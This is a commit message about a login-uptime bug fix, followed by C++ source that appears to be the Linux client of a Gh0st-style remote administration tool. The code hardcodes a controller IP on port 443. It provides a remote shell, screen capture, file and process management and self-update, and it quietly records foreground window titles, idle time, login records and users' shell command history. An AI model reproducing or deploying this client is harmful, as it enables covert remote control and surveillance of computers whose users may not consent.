双击 Linux 主机浮窗显示「启动信息 2026-11-14 13:33:52 + 1.3h」:日期是对的(进程确实从
11-14 06:33 起一直在跑,期间只有 TCP 重连),错的是时长——真实 6.2d,而 1.3h 正好等于当天
09:05:53 那次重连到双击时刻的间隔。
2cbed0d 加的 RES_UPTIME(登录时刻进程已运行秒数)在 Linux/macOS/Android 里跟着 LOGIN_INFOR
一起在重连循环外只构造一次、重连时原样重发,于是永远停在进程启动那一瞬的 0;服务端做
RES_UPTIME + GetAliveTime(),加出来就只剩「本次连接时长」。Windows 没有这个问题,它的
GetLoginInfo 在连接循环里每次重建。老客户端(build Oct 31 及更早)根本不发这个字段,服务端
退回 szStartTime 字符串、LNX 按北京时间比,反而正确——这就是「老版本显示正常」的原因。
改法:LOGIN_INFOR::SetReserved(index, v) 按 '|' 位置改写单个字段(末尾空槽原样保留、超长
整体放弃、越界拒绝),三个客户端把各自复制粘贴的「拆字段改 [19]」换成一行调用,并新增
RefreshLoginUptime 在每次 SendLoginInfo 前重算 [20](含 Linux 的分组变更重发路径)。
影响:只动登录包的第 21 个字段,结构体布局、字段顺序与协议不变,老主控忽略它。
已部署的旧 build 需重新下发才会恢复正常显示。
验证:SetReserved 用 MSVC 单测(21 字段位置不变、连改两次、空槽保留、补槽、超长与越界
拒绝)。三个客户端本体未编译:本机 WSL 被安全策略拦住、Docker 引擎未启动。
2193 lines
96 KiB
C++
2193 lines
96 KiB
C++
#include "common/commands.h"
|
||
#include "client/IOCPClient.h"
|
||
#include <unistd.h>
|
||
#include <sys/utsname.h>
|
||
#include <sys/sysinfo.h>
|
||
#include <sys/stat.h>
|
||
#include <sys/prctl.h>
|
||
#include <pwd.h>
|
||
#include <string.h>
|
||
#include <termios.h>
|
||
#include <thread>
|
||
#include <system_error> // std::system_error:SpawnSubConnWorker 捕获线程创建失败
|
||
#include <fcntl.h>
|
||
#include <atomic>
|
||
#include <mutex>
|
||
#include <algorithm>
|
||
#include <cerrno>
|
||
#include <csignal>
|
||
#include <sys/wait.h>
|
||
#include <sys/ioctl.h>
|
||
#include "common/PTYHandler.h"
|
||
#include <iostream>
|
||
#include <stdexcept>
|
||
#include <cstdio>
|
||
#include <ctime>
|
||
#include <memory>
|
||
#include <array>
|
||
#include <regex>
|
||
#include <fstream>
|
||
#include <map>
|
||
#include <cmath>
|
||
#include "ScreenHandler.h"
|
||
#include "ScreenPreview.h"
|
||
#include "SystemManager.h"
|
||
#include "common/ClientLogHandler.h"
|
||
#include "common/FileManager.h"
|
||
#include "ClipboardHandler.h"
|
||
#include "common/FileTransferV2.h"
|
||
#include "common/logger.h"
|
||
#define XXH_INLINE_ALL
|
||
#include "common/xxhash.h"
|
||
#include "common/rtt_estimator.h"
|
||
#include "common/client_auth_state.h"
|
||
#include "common/posix_net_helpers.h"
|
||
#include "common/sub_conn_thread.h"
|
||
#include "common/host_transfer.h"
|
||
#include "common/host_share.h"
|
||
#include "LinuxConfig.h"
|
||
#include "LinuxActivityHistory.h"
|
||
#include <openssl/evp.h>
|
||
#include <cctype>
|
||
#include <vector>
|
||
|
||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength);
|
||
// 主机分享/转移的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用)
|
||
// 分享子进程与转移子进程都走同一套 fork+exec 管理,只是归属不同:
|
||
// KIND_SHARE 「取消分享」只停这些
|
||
// KIND_TRANSFER 转移到期时停这些(提前建立的那条连接)
|
||
// KIND_ALL 主实例退出时全停
|
||
enum ManagedKind { KIND_SHARE, KIND_TRANSFER, KIND_ALL };
|
||
static bool StartShareInstance(const std::string& entry);
|
||
static bool StartTransferInstance(const std::string& entry);
|
||
static void StopChildren(ManagedKind kind);
|
||
static void StartShareInstancesFromConfig();
|
||
|
||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
|
||
|
||
// 全局状态
|
||
State g_bExit = S_CLIENT_NORMAL;
|
||
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
|
||
// 传输层热切换(服务端 COMMAND_TLS_ENABLE/DISABLE 改了信任锚)后需要重建连接。
|
||
// DataProcess 跑在接收线程上,直接关 socket 会和主线程的发送竞争,所以只置标志,
|
||
// 由主心跳循环择机 Disconnect 并重连。
|
||
static std::atomic<bool> g_needReconnect(false);
|
||
|
||
// ============== 主机转移(COMMAND_ASSIGN_MASTER)==============
|
||
// 服务端「转移主机」把目标写进 config.conf 的 transfer 键,之后每次重连都连新主控;
|
||
// valid_to 到期后恢复本进程启动时的原主控。原主控只存在内存里(argv 或编译期默认),
|
||
// 不能写回配置——恢复时读到的若还是转移目标,就成了原地打转。
|
||
// 解析/编解码/地址应用在 common/host_transfer.h(macOS 客户端可直接复用)。
|
||
static HostTransfer::Endpoint g_transferOrig; // 启动时的主控,过期恢复用
|
||
static std::atomic<long long> g_transferValidTo(0); // >0 = 处于转移状态(到期时刻)
|
||
static std::atomic<bool> g_transferPending(false); // 接收线程已写下新目标,待主循环应用
|
||
static std::mutex g_transferMu; // 保护 g_transferPendingTarget
|
||
static HostTransfer::Target g_transferPendingTarget;
|
||
|
||
// ============== 主机分享(COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA)==============
|
||
// 分享不改主连接,而是另起一条通往目标主控的连接。main() 的连接状态全是全局量
|
||
// (g_SETTINGS / g_bExit / g_pMainClient / 心跳节奏 / 登录参数),线程化要逐个
|
||
// 参数化,改动面比功能本身还大;这里由主实例给每条分享记录 fork+exec 一个
|
||
// `--share <entry>` 子进程,子进程直接复用同一份登录、心跳和命令处理代码。
|
||
// 解析与 share_list 编解码在 common/host_share.h(macOS 客户端可直接复用)。
|
||
static bool g_bShareInstance = false; // 本进程是分享子进程
|
||
static std::mutex g_shareMu; // 保护 g_shareProcs
|
||
// 子进程 pid 和它启动时用的那条记录:判断「同一条分享」只能比这条记录,不能比配置
|
||
// 里的——命令处理是先写配置再起进程,配置里已经是新记录了。
|
||
// transfer=true 表示这是「转移主机」立即建立的那条连接(见 StartTransferInstance),
|
||
// 它不进 share_list、不受「取消分享」影响。
|
||
struct ShareProc {
|
||
pid_t pid;
|
||
std::string entry;
|
||
bool transfer;
|
||
};
|
||
static std::map<std::string, ShareProc> g_shareProcs; // "ip:port" / "transfer:ip:port" -> 子进程
|
||
// 分享条目上限:每条都对应一个常驻子进程,服务端误发/恶意刷下发不能把进程表打爆。
|
||
static const size_t kMaxShareEntries = 16;
|
||
static std::atomic<bool> g_shareReaperStop(false);
|
||
static std::thread g_shareReaperThread; // 退出前 join,别让它去碰已停的日志
|
||
|
||
// 自升级(COMMAND_UPDATE):fork+execv 重启自己时需要原始命令行,
|
||
// 失败回报需要主连接(DataProcess 的 user 参数为 NULL,只能靠全局)。
|
||
static int g_argc = 0;
|
||
static char** g_argv = nullptr;
|
||
static IOCPClient* g_pMainClient = nullptr;
|
||
|
||
// 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms),0 表示新连接刚建立尚未喂初值。
|
||
// 心跳循环用它检测应用层超时:TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF
|
||
// 立即返回成功),必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic:
|
||
// VM/笔记本挂起期间 system_clock 继续推进,恢复后能立即识别"几分钟没收到 ACK",
|
||
// 这是相比 TCP_USER_TIMEOUT(内核层) 的关键互补价值。
|
||
static std::atomic<uint64_t> g_lastHeartbeatAckMs(0);
|
||
|
||
// 客户端 ID(V2 文件传输需要)
|
||
uint64_t g_myClientID = 0;
|
||
|
||
// 服务端身份校验全局状态已抽到 common/client_auth_state.h(namespace ClientAuth)
|
||
|
||
// ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ==============
|
||
|
||
static std::string utf8ToGbk(const std::string& utf8)
|
||
{
|
||
if (utf8.empty()) return utf8;
|
||
iconv_t cd = iconv_open("GBK", "UTF-8");
|
||
if (cd == (iconv_t)-1) return utf8;
|
||
|
||
size_t inLeft = utf8.size();
|
||
size_t outLeft = inLeft * 2; // GBK 最多 2 字节/字符,不会比 UTF-8 更长
|
||
std::string output(outLeft, '\0');
|
||
|
||
char* inPtr = const_cast<char*>(utf8.data());
|
||
char* outPtr = &output[0];
|
||
|
||
size_t ret = iconv(cd, &inPtr, &inLeft, &outPtr, &outLeft);
|
||
iconv_close(cd);
|
||
|
||
if (ret == (size_t)-1) return utf8; // 转换失败,原样返回
|
||
output.resize(output.size() - outLeft);
|
||
return output;
|
||
}
|
||
|
||
// ============== 用户活动检测(对应 Windows 端 ActivityWindow) ==============
|
||
|
||
// X11 额外类型定义(ScreenHandler.h 的前向声明未包含这些)
|
||
#ifndef _X11_ATOM_DEFINED
|
||
#define _X11_ATOM_DEFINED
|
||
typedef unsigned long Atom;
|
||
typedef int Bool_X; // 避免与 commands.h 中的 BOOL 冲突
|
||
typedef int Status_X;
|
||
#endif
|
||
|
||
// XScreenSaver 扩展的 Info 结构体(避免 #include <X11/extensions/scrnsaver.h>)
|
||
struct XScreenSaverInfo_LNX {
|
||
Window window;
|
||
int state;
|
||
int kind;
|
||
unsigned long til_or_since;
|
||
unsigned long idle; // 用户空闲毫秒数
|
||
unsigned long eventMask;
|
||
};
|
||
|
||
class ActivityChecker
|
||
{
|
||
public:
|
||
ActivityChecker() : m_x11(nullptr), m_xss(nullptr), m_display(nullptr), m_available(false)
|
||
{
|
||
// 加载 libX11
|
||
m_x11 = dlopen("libX11.so.6", RTLD_LAZY);
|
||
if (!m_x11) m_x11 = dlopen("libX11.so", RTLD_LAZY);
|
||
if (!m_x11) return;
|
||
|
||
// 解析 X11 函数
|
||
pXOpenDisplay = (fn_XOpenDisplay)dlsym(m_x11, "XOpenDisplay");
|
||
pXCloseDisplay = (fn_XCloseDisplay)dlsym(m_x11, "XCloseDisplay");
|
||
pXDefaultScreen = (fn_XDefaultScreen)dlsym(m_x11, "XDefaultScreen");
|
||
pXRootWindow = (fn_XRootWindow)dlsym(m_x11, "XRootWindow");
|
||
pXInternAtom = (fn_XInternAtom)dlsym(m_x11, "XInternAtom");
|
||
pXGetWindowProperty = (fn_XGetWindowProperty)dlsym(m_x11, "XGetWindowProperty");
|
||
pXFree = (fn_XFree)dlsym(m_x11, "XFree");
|
||
pXSetErrorHandler = (fn_XSetErrorHandler)dlsym(m_x11, "XSetErrorHandler");
|
||
pXQueryExtension = (fn_XQueryExtension)dlsym(m_x11, "XQueryExtension");
|
||
|
||
if (!pXOpenDisplay || !pXCloseDisplay || !pXDefaultScreen || !pXRootWindow ||
|
||
!pXInternAtom || !pXGetWindowProperty || !pXFree)
|
||
return;
|
||
|
||
// 打开 Display 连接
|
||
m_display = pXOpenDisplay(nullptr);
|
||
if (!m_display) return;
|
||
|
||
// 静默 X11 错误,防止程序被杀
|
||
if (pXSetErrorHandler)
|
||
pXSetErrorHandler((int(*)(Display*, void*))silentErrorHandler);
|
||
|
||
// 预查询常用 Atom
|
||
m_atomActiveWindow = pXInternAtom(m_display, "_NET_ACTIVE_WINDOW", 0);
|
||
m_atomWmName = pXInternAtom(m_display, "_NET_WM_NAME", 0);
|
||
m_atomUtf8String = pXInternAtom(m_display, "UTF8_STRING", 0);
|
||
m_atomWmNameLegacy = pXInternAtom(m_display, "WM_NAME", 0);
|
||
|
||
m_screen = pXDefaultScreen(m_display);
|
||
m_root = pXRootWindow(m_display, m_screen);
|
||
|
||
// 加载 libXss(可选,没有则无法获取空闲时间)
|
||
// 先检查 X 服务器是否支持 MIT-SCREEN-SAVER 扩展
|
||
bool hasScrnsaverExt = false;
|
||
if (pXQueryExtension) {
|
||
int major_opcode, first_event, first_error;
|
||
hasScrnsaverExt = pXQueryExtension(m_display, "MIT-SCREEN-SAVER",
|
||
&major_opcode, &first_event, &first_error);
|
||
}
|
||
if (hasScrnsaverExt) {
|
||
m_xss = dlopen("libXss.so.1", RTLD_LAZY);
|
||
if (!m_xss) m_xss = dlopen("libXss.so", RTLD_LAZY);
|
||
if (m_xss) {
|
||
pXScreenSaverAllocInfo = (fn_XScreenSaverAllocInfo)dlsym(m_xss, "XScreenSaverAllocInfo");
|
||
pXScreenSaverQueryInfo = (fn_XScreenSaverQueryInfo)dlsym(m_xss, "XScreenSaverQueryInfo");
|
||
}
|
||
}
|
||
|
||
m_available = true;
|
||
}
|
||
|
||
~ActivityChecker()
|
||
{
|
||
if (m_display && pXCloseDisplay) pXCloseDisplay(m_display);
|
||
if (m_xss) dlclose(m_xss);
|
||
if (m_x11) dlclose(m_x11);
|
||
}
|
||
|
||
// 主入口:返回用户活动描述字符串(与 Windows 端 ActivityWindow::Check 对齐)
|
||
std::string Check(unsigned long threshold_ms = 6000)
|
||
{
|
||
if (!m_available) return "";
|
||
|
||
unsigned long idle = GetIdleTime();
|
||
|
||
if (idle < threshold_ms) {
|
||
return GetActiveWindowTitle();
|
||
}
|
||
return "Inactive: " + FormatMilliseconds(idle);
|
||
}
|
||
|
||
// 历史活动采样用:有桌面、用户未空闲且存在活动窗口时返回 id+标题,否则 id=0。
|
||
// 与 Check 的区别是不把「空闲」包装成 Inactive 文本 —— 采样端只关心"有没有活动"。
|
||
LinuxActivity::ProbeResult Probe(unsigned long idle_threshold_ms = 6000)
|
||
{
|
||
LinuxActivity::ProbeResult r;
|
||
if (!m_available) return r;
|
||
if (GetIdleTime() >= idle_threshold_ms) return r;
|
||
r.winId = GetActiveWindowId();
|
||
if (r.winId == 0) return r;
|
||
r.title = GetWindowTitle(r.winId); // 用刚取到的 id,别再读一次活动窗口(可能已换)
|
||
return r;
|
||
}
|
||
|
||
bool Available() const { return m_available; }
|
||
|
||
// 有桌面且真能跟踪前台窗口:X 连上了还不够,根窗口上得有 _NET_SUPPORTING_WM_CHECK
|
||
// (EWMH 窗口管理器)。Xvfb、裸 X 这类「有 DISPLAY 没有 WM」的环境里
|
||
// _NET_ACTIVE_WINDOW 永远读不到,采样只会一直空转,应该按无头后端处理。
|
||
bool Usable()
|
||
{
|
||
if (!m_available) return false;
|
||
Atom atom = pXInternAtom(m_display, "_NET_SUPPORTING_WM_CHECK", 0);
|
||
if (!atom) return false;
|
||
return !GetWindowProperty(m_root, atom, (Atom)0).empty();
|
||
}
|
||
|
||
private:
|
||
// X11 函数指针类型
|
||
typedef Display* (*fn_XOpenDisplay)(const char*);
|
||
typedef int (*fn_XCloseDisplay)(Display*);
|
||
typedef int (*fn_XDefaultScreen)(Display*);
|
||
typedef Window (*fn_XRootWindow)(Display*, int);
|
||
typedef Atom (*fn_XInternAtom)(Display*, const char*, int);
|
||
typedef int (*fn_XGetWindowProperty)(Display*, Window, Atom, long, long, int,
|
||
Atom, Atom*, int*, unsigned long*, unsigned long*, unsigned char**);
|
||
typedef int (*fn_XFree)(void*);
|
||
typedef int (*fn_XSetErrorHandler)(int(*)(Display*, void*));
|
||
typedef Bool_X (*fn_XQueryExtension)(Display*, const char*, int*, int*, int*);
|
||
|
||
// XScreenSaver 函数指针类型
|
||
typedef XScreenSaverInfo_LNX* (*fn_XScreenSaverAllocInfo)();
|
||
typedef Status_X (*fn_XScreenSaverQueryInfo)(Display*, Drawable, XScreenSaverInfo_LNX*);
|
||
|
||
// 函数指针实例
|
||
fn_XOpenDisplay pXOpenDisplay = nullptr;
|
||
fn_XCloseDisplay pXCloseDisplay = nullptr;
|
||
fn_XDefaultScreen pXDefaultScreen = nullptr;
|
||
fn_XRootWindow pXRootWindow = nullptr;
|
||
fn_XInternAtom pXInternAtom = nullptr;
|
||
fn_XGetWindowProperty pXGetWindowProperty = nullptr;
|
||
fn_XFree pXFree = nullptr;
|
||
fn_XSetErrorHandler pXSetErrorHandler = nullptr;
|
||
fn_XQueryExtension pXQueryExtension = nullptr;
|
||
|
||
fn_XScreenSaverAllocInfo pXScreenSaverAllocInfo = nullptr;
|
||
fn_XScreenSaverQueryInfo pXScreenSaverQueryInfo = nullptr;
|
||
|
||
void* m_x11;
|
||
void* m_xss;
|
||
Display* m_display;
|
||
bool m_available;
|
||
|
||
int m_screen;
|
||
Window m_root;
|
||
Atom m_atomActiveWindow;
|
||
Atom m_atomWmName;
|
||
Atom m_atomUtf8String;
|
||
Atom m_atomWmNameLegacy;
|
||
|
||
static int silentErrorHandler(Display*, void*)
|
||
{
|
||
return 0;
|
||
}
|
||
|
||
// 获取用户空闲时间(毫秒),libXss 不可用时返回 0
|
||
unsigned long GetIdleTime()
|
||
{
|
||
if (!pXScreenSaverAllocInfo || !pXScreenSaverQueryInfo)
|
||
return 0;
|
||
|
||
XScreenSaverInfo_LNX* info = pXScreenSaverAllocInfo();
|
||
if (!info) return 0;
|
||
|
||
unsigned long idle = 0;
|
||
if (pXScreenSaverQueryInfo(m_display, m_root, info))
|
||
idle = info->idle;
|
||
|
||
pXFree(info);
|
||
return idle;
|
||
}
|
||
|
||
// 从根窗口读取 _NET_ACTIVE_WINDOW 得到活动窗口 ID;无窗口/WM 不支持时返回 0
|
||
Window GetActiveWindowId()
|
||
{
|
||
Atom actualType = 0;
|
||
int actualFormat = 0;
|
||
unsigned long nItems = 0, bytesAfter = 0;
|
||
unsigned char* prop = nullptr;
|
||
|
||
int ret = pXGetWindowProperty(m_display, m_root, m_atomActiveWindow,
|
||
0, 1, 0, (Atom)0 /* AnyPropertyType */,
|
||
&actualType, &actualFormat, &nItems, &bytesAfter, &prop);
|
||
if (ret != 0 || !prop || nItems == 0) {
|
||
if (prop) pXFree(prop);
|
||
return 0;
|
||
}
|
||
|
||
Window w = *(Window*)prop;
|
||
pXFree(prop);
|
||
return w;
|
||
}
|
||
|
||
// 获取当前活动窗口标题(通过 EWMH _NET_ACTIVE_WINDOW + _NET_WM_NAME)
|
||
std::string GetActiveWindowTitle()
|
||
{
|
||
return GetWindowTitle(GetActiveWindowId());
|
||
}
|
||
|
||
// 指定窗口的标题:_NET_WM_NAME (UTF-8),失败回退 WM_NAME
|
||
std::string GetWindowTitle(Window win)
|
||
{
|
||
if (win == 0) return "";
|
||
std::string title = GetWindowProperty(win, m_atomWmName, m_atomUtf8String);
|
||
if (title.empty())
|
||
title = GetWindowProperty(win, m_atomWmNameLegacy, (Atom)0);
|
||
return title;
|
||
}
|
||
|
||
// 通用窗口属性读取
|
||
std::string GetWindowProperty(Window win, Atom property, Atom reqType)
|
||
{
|
||
Atom actualType = 0;
|
||
int actualFormat = 0;
|
||
unsigned long nItems = 0, bytesAfter = 0;
|
||
unsigned char* prop = nullptr;
|
||
|
||
int ret = pXGetWindowProperty(m_display, win, property,
|
||
0, 512, 0, reqType,
|
||
&actualType, &actualFormat, &nItems, &bytesAfter, &prop);
|
||
if (ret != 0 || !prop || nItems == 0) {
|
||
if (prop) pXFree(prop);
|
||
return "";
|
||
}
|
||
|
||
std::string result((char*)prop, nItems);
|
||
pXFree(prop);
|
||
return result;
|
||
}
|
||
|
||
static std::string FormatMilliseconds(unsigned long ms)
|
||
{
|
||
unsigned long totalSeconds = ms / 1000;
|
||
unsigned long hours = totalSeconds / 3600;
|
||
unsigned long minutes = (totalSeconds % 3600) / 60;
|
||
unsigned long seconds = totalSeconds % 60;
|
||
|
||
char buf[16];
|
||
sprintf(buf, "%02lu:%02lu:%02lu", hours, minutes, seconds);
|
||
return buf;
|
||
}
|
||
};
|
||
|
||
// ============== 心跳保活 & RTT 估算 ==============
|
||
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
|
||
|
||
// PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS)
|
||
|
||
void* ShellworkingThread(void* /*param*/)
|
||
{
|
||
RunSubConnThread<PTYHandler>(
|
||
"ShellworkingThread",
|
||
[](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
|
||
[](IOCPClient* c, PTYHandler*) {
|
||
BYTE bToken = TOKEN_TERMINAL_START;
|
||
c->Send2Server((char*)&bToken, 1);
|
||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
|
||
});
|
||
return NULL;
|
||
}
|
||
|
||
void* ScreenworkingThread(void* /*param*/)
|
||
{
|
||
RunSubConnThread<ScreenHandler>(
|
||
"ScreenworkingThread",
|
||
[](IOCPClient* c) { return std::unique_ptr<ScreenHandler>(new ScreenHandler(c)); },
|
||
[](IOCPClient* c, ScreenHandler* h) {
|
||
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
||
h->SendBitmapInfo();
|
||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
|
||
});
|
||
return NULL;
|
||
}
|
||
|
||
void* SystemManagerThread(void* /*param*/)
|
||
{
|
||
RunSubConnThread<SystemManager>(
|
||
"SystemManagerThread",
|
||
[](IOCPClient* c) { return std::unique_ptr<SystemManager>(new SystemManager(c)); },
|
||
[](IOCPClient* c, SystemManager*) {
|
||
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", c);
|
||
});
|
||
return NULL;
|
||
}
|
||
|
||
void* FileManagerThread(void* /*param*/)
|
||
{
|
||
RunSubConnThread<FileManager>(
|
||
"FileManagerThread",
|
||
[](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
|
||
[](IOCPClient* c, FileManager*) {
|
||
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", c);
|
||
});
|
||
return NULL;
|
||
}
|
||
|
||
// 日志上报(对应 Windows 端 CClientLogManager):子连接建立即发首包全量。
|
||
// 服务端取走首包后会关掉这条子连接,所以这里发完就等连接断开即可。
|
||
void* ClientLogThread(void* /*param*/)
|
||
{
|
||
RunSubConnThread<ClientLogHandler>(
|
||
"ClientLogThread",
|
||
[](IOCPClient* c) { return std::unique_ptr<ClientLogHandler>(new ClientLogHandler(c)); },
|
||
[](IOCPClient* c, ClientLogHandler*) {
|
||
Mprintf(">>> ClientLogThread [%p] Send: TOKEN_REPORT_LOG\n", c);
|
||
});
|
||
return NULL;
|
||
}
|
||
|
||
// ============== 屏幕预览(对应 Windows 端 COMMAND_SCREEN_PREVIEW_REQ) ==============
|
||
|
||
// 同一时刻只跑一个抓屏任务:列表缩略图是周期性刷新,服务端还可能重发/并发请求,
|
||
// 多余的直接丢弃,让服务端 4s 超时后按"预览不可用"降级(与 Windows 端限流一致)。
|
||
static std::atomic<int> g_previewInFlight(0);
|
||
|
||
static void ScreenPreviewThread(ScreenPreviewReq req)
|
||
{
|
||
// 抓屏/缩放全程可能在几十毫秒量级,跑在独立线程里,不阻塞接收线程
|
||
struct InFlightGuard {
|
||
~InFlightGuard() { g_previewInFlight.fetch_sub(1); }
|
||
} guard;
|
||
|
||
std::vector<unsigned char> pixels;
|
||
int w = 0, h = 0;
|
||
int st = ScreenPreview::Capture(req.maxWidth, pixels, w, h);
|
||
bool ok = (st == SCREEN_PREVIEW_OK) && !pixels.empty();
|
||
if (!ok) {
|
||
pixels.clear();
|
||
}
|
||
|
||
uint32_t bytes = ok ? (uint32_t)pixels.size() : 0;
|
||
std::vector<char> pkt(sizeof(ScreenPreviewRspHeader) + bytes);
|
||
ScreenPreviewRspHeader* hdr = (ScreenPreviewRspHeader*)pkt.data();
|
||
memset(hdr, 0, sizeof(*hdr));
|
||
hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
|
||
hdr->reqId = req.reqId;
|
||
hdr->status = (uint8_t)st;
|
||
// 成功时发原始 BGRA,由服务端统一编码成 JPEG(Linux 无可靠的 JPEG 编码库);
|
||
// 失败时 format 无意义,填 JPEG 保持包头合法
|
||
hdr->format = ok ? SCREEN_PREVIEW_FMT_BGRX : SCREEN_PREVIEW_FMT_JPEG;
|
||
hdr->width = (uint16_t)w;
|
||
hdr->height = (uint16_t)h;
|
||
hdr->bytes = bytes;
|
||
if (ok) {
|
||
memcpy(pkt.data() + sizeof(*hdr), pixels.data(), pixels.size());
|
||
}
|
||
|
||
// Send2Server 内部持锁,可在工作线程调用;进程退出/断线时不再回包
|
||
if (g_pMainClient && g_pMainClient->IsConnected() && g_bExit == S_CLIENT_NORMAL) {
|
||
g_pMainClient->Send2Server(pkt.data(), (int)pkt.size());
|
||
}
|
||
if (!ok) {
|
||
Mprintf("** Screen preview capture failed: status=%d ***\n", st);
|
||
}
|
||
}
|
||
|
||
// 信任锚已落盘/已删除:热重载 TLS 状态,必要时请求主循环重建连接。
|
||
// 只在传输方式真正变化(明文↔TLS)时重连;仅换证书(仍是 TLS)不打断现有会话,
|
||
// 新锚从下一条新连接开始生效。
|
||
static void ApplyTlsAnchorChange(void* user)
|
||
{
|
||
bool before = TlsEnabled();
|
||
std::string err;
|
||
if (!TlsReload(err)) {
|
||
Mprintf("** [%p] TLS reload failed: %s (keeping current transport) ***\n", user, err.c_str());
|
||
return;
|
||
}
|
||
bool after = TlsEnabled();
|
||
if (before == after) {
|
||
Mprintf("** [%p] TLS trust anchor updated, transport unchanged (%s) ***\n",
|
||
user, after ? "TLS" : "plaintext");
|
||
return;
|
||
}
|
||
g_needReconnect.store(true);
|
||
Mprintf("** [%p] TLS transport switched to %s, reconnecting ***\n",
|
||
user, after ? "TLS" : "plaintext");
|
||
}
|
||
|
||
// ============== 主机转移(COMMAND_ASSIGN_MASTER)==============
|
||
|
||
// 启动时读取转移记录:未过期就把连接地址改成转移目标(与 Windows
|
||
// ClientDll.cpp StartClient 的启动处理一致)。必须在 daemonize 之后调用(见 main()
|
||
// 里的说明),启动日志里打印的就是本次实际要连的地址。
|
||
static void InitTransferState()
|
||
{
|
||
g_transferOrig = HostTransfer::CaptureEndpoint(g_SETTINGS);
|
||
|
||
LinuxConfig cfg;
|
||
HostTransfer::Target t;
|
||
long long now = (long long)time(nullptr);
|
||
if (!HostTransfer::DecodeRecord(cfg.GetStr("transfer"), t))
|
||
return;
|
||
if (!t.Active(now)) {
|
||
Mprintf("Transfer record already expired (%lld), ignored\n", t.validTo);
|
||
return;
|
||
}
|
||
HostTransfer::ApplyTarget(g_SETTINGS, t);
|
||
g_transferValidTo.store(t.validTo);
|
||
Mprintf("Transfer active: %s:%d (transport=%d), %llds left\n",
|
||
t.ep.ip.c_str(), t.ep.port, t.ep.transport, t.validTo - now);
|
||
}
|
||
|
||
// 把接收线程记下的目标应用到全局连接参数。只在主线程调用:CONNECT_ADDRESS 没有
|
||
// 跨线程同步,ConnectServer 读的就是它。只改地址、不主动断开——与 Windows 一致,
|
||
// 下一次重连才生效。
|
||
static void ApplyPendingTransfer()
|
||
{
|
||
if (!g_transferPending.load(std::memory_order_acquire))
|
||
return;
|
||
HostTransfer::Target t;
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_transferMu);
|
||
t = g_transferPendingTarget;
|
||
g_transferPending.store(false, std::memory_order_release);
|
||
}
|
||
HostTransfer::ApplyTarget(g_SETTINGS, t);
|
||
long long left = t.validTo - (long long)time(nullptr);
|
||
Mprintf(">>> Transfer armed: next reconnect -> %s:%d (transport=%d), %llds left\n",
|
||
t.ep.ip.c_str(), t.ep.port, t.ep.transport, left);
|
||
}
|
||
|
||
// 转移到期:恢复原主控并重连。目标不可达时这是唯一的退路;days=0 的永久转移
|
||
// 没有到期时间,也就没有这条退路——与 Windows 行为一致。
|
||
static void CheckTransferExpiry()
|
||
{
|
||
long long validTo = g_transferValidTo.load(std::memory_order_relaxed);
|
||
if (validTo <= 0 || (long long)time(nullptr) <= validTo)
|
||
return;
|
||
g_transferValidTo.store(0, std::memory_order_relaxed);
|
||
HostTransfer::ApplyEndpoint(g_SETTINGS, g_transferOrig);
|
||
LinuxConfig cfg;
|
||
cfg.SetStr("transfer", ""); // 记录作废,重启后也不会再回到已过期的目标
|
||
g_needReconnect.store(true, std::memory_order_relaxed);
|
||
Mprintf(">>> Transfer expired: restoring %s:%d\n",
|
||
g_transferOrig.ip.c_str(), g_transferOrig.port);
|
||
// 转移时提前建立的那条连接也要收掉,否则过期后主机仍挂在新主控上。
|
||
StopChildren(KIND_TRANSFER);
|
||
}
|
||
|
||
// ============== 历史活动(COMMAND_QUERY_ACTIVITY → TOKEN_REPORT_ACTIVITY) ==============
|
||
// true=桌面窗口采样(启动时 X11 可用),false=无头后端(登录记录 + shell 命令历史)
|
||
static std::atomic<bool> g_activityWindowBackend(false);
|
||
|
||
// 与 Windows 端一致:主连接一次性快照,不开子连接(服务端 TOKEN_REPORT_ACTIVITY 分支
|
||
// 不 CancelIO)。无头后端要跑 last、读历史文件,所以放线程里,别堵接收线程。
|
||
// 同时在飞的报表最多一份:连点/多个 MCP 调用会把 popen(last) 和读历史文件叠起来,
|
||
// 一次几十毫秒的活堆成几百个子进程没有任何意义。
|
||
static std::atomic<int> g_activityReportsInFlight(0);
|
||
|
||
static void ActivityReportThread()
|
||
{
|
||
const bool windowBackend = g_activityWindowBackend.load(std::memory_order_relaxed);
|
||
std::string text;
|
||
if (windowBackend) {
|
||
text = LinuxActivity::ActivityHistory::Instance().Dump();
|
||
if (text.empty())
|
||
text = LinuxActivity::WindowBackendEmptyText(); // 桌面空闲/刚启动,还没有够 5 秒的窗口
|
||
} else {
|
||
LinuxConfig cfg; // 每次现读:activity_commands 改了立刻生效
|
||
const bool includeCommands = cfg.GetInt("activity_commands", 1) != 0;
|
||
text = LinuxActivity::BuildHeadlessDump(includeCommands, 200);
|
||
}
|
||
|
||
std::vector<BYTE> pkt(1 + text.size());
|
||
pkt[0] = TOKEN_REPORT_ACTIVITY;
|
||
if (!text.empty())
|
||
memcpy(pkt.data() + 1, text.data(), text.size());
|
||
// 取快照可能跑上几十毫秒(last/读历史文件),期间主连接可能已经断了或是进程在退出;
|
||
